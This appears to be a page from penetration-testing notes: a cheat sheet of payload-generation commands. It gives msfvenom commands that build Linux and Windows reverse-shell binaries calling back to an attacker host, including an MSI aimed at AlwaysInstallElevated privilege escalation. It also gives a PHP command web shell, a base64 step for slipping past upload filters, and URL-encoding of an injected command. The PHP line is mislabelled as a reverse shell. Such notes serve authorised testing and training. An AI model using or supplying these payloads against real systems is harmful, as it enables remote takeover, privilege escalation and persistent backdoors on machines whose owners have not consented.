🎯 Payload Generators

Quick commands for generating reverse shells, stagers, and encoded payloads.

➡️ Environment: See 00_environment_setup


🧨 msfvenom Payloads

Linux Reverse Shell (ELF)

msfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf > shell.elf
chmod +x shell.elf

Windows Reverse Shell (EXE)

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe > shell.exe

Windows Shell (msi for AlwaysInstallElevated)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi > shell.msi

🧪 Web Payloads

PHP Reverse Shell (One-liner)

<?php system($_GET['cmd']); ?>

Base64 Encode Payload (e.g., for upload bypass)

echo -n '<?php system($_GET["cmd"]); ?>' | base64

🧼 URL Encode a String

echo -n "id; whoami" | jq -sRr @uri

🧱 Other Tools


Next: 12_tool_usage